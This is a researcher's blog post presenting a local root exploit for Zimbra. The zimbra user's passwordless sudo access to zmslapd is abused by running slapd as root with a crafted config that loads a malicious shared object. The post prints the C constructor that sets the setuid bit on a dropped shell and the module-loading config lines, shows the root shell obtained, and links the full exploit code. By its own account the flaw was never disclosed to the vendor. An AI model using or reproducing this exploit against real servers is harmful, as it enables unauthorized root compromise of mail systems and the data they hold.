Darren Martyn

Zimbra “zmslapd” Local Root Exploit.

darrenmart 27th Oct 2021

This exploit was brought to you by “reading the manual”, mostly. It is the second local privilege escalation I found while doing an extremely low effort audit of Zimbra.

You should read the first post, here: **https://darrenmartyn.ie/2021/10/25/zimbra-nginx-local-root-exploit/**

In order to exploit this issue, you need code execution as the “zimbra” user.

TL;DR: In a stock Zimbra install, the “zimbra” user has access to run a number of shell commands with root permissions.

One of these is “zmslapd”, as per the following output from “sudo -l”:

```
(root) NOPASSWD: /opt/zimbra/libexec/zmslapd
```

What does this command do? Well, lets find out. Using the extremely sophisticated reverse engineering software, `cat`, we can do so. I even left the licence block in, just, you know, to be nice.

```
$ cat /opt/zimbra/libexec/zmslapd
#!/bin/bash
#
# ***** BEGIN LICENSE BLOCK *****
# Zimbra Collaboration Suite Server
# Copyright (C) 2007, 2008, 2009, 2010, 2012, 2013, 2014, 
#
# This program is free software: you can redistribute it a
# the terms of the GNU General Public License as published
# version 2 of the License.
#
# This program is distributed in the hope that it will be u
# without even the implied warranty of MERCHANTABILITY or F
# See the GNU General Public License for more details.
# You should have received a copy of the GNU General Public
# If not, see <https://www.gnu.org/licenses/>.
# ***** END LICENSE BLOCK *****
#

ulimit -n 32768
ulimit -c unlimited
ulimit -v unlimited
export LD_PRELOAD=/opt/zimbra/common/lib/libtcmalloc_minima
exec /opt/zimbra/common/libexec/slapd "$@"
```

So basically all this script does is execute `slapd` with whatever arguments we give it, after setting up some `ulimit` stuff and `LD_PRELOAD`'ing a specific malloc implementation.

We now shall refer to the `slapd` manual, in order to figure out a way to exploit this.

Using the `-u root` and `-g root` arguments, we can ensure that slapd does not drop permissions when ran, and runs as root. With the `-f filename` argument, we can force it to use a specific configuration file.

We copy the `slapd` config file zimbra ships with, and look for something usable. Turns out, there is a way to load in modules, which are just shared objects. So we tweak configuration to do just that.

```
# Load dynamic backend modules:
modulepath      /tmp/slapper
moduleload      hax.so
# moduleload    back_ldap.la
```

What is “hax.so”? Well, it is a shared object that just puts the setuid bit on a shell we drop. We use a constructor so it runs once its loaded, instead of writing a proper module for `slapd`. It is just easier this way and works fine.

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/slapper/rootslap", 0, 0);
    chmod("/tmp/slapper/rootslap", 04755);
    printf("[+] done!\n");
}
```

We package up this whole thing into a nice shell script, and we get the following.

```
$ id
uid=999(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
$ ./slapper.sh
~ slapper.sh - zimbra zmslapd local privesc exploit ~
[+] Setting up...
[+] Triggering our exploit...
[+] done!
[+] Cleaning up staged files...
[$] Pop root shell
# id
uid=0(root) gid=0(root) groups=0(root),5(tty),998(postfix),999(zimbra)
# exit
$
```

The steps are fairly simple. Create a directory to work in, create our shared object, a rootshell binary, and our config file. Then run the zslapd command with sudo and arguments to run as root and use our config file. We get root.

You can find the exploit code here:
https://github.com/darrenmartyn/zimbra-slapper

There are more privesc opportunities in Zimbra waiting to be exploited. I might even spend time on those next. Just depends how much time I want to spend reading manual pages. Maybe finding the next one is an exercise for the reader?

Disclosure timeline: None, I just didn't bother. See the previous post for why.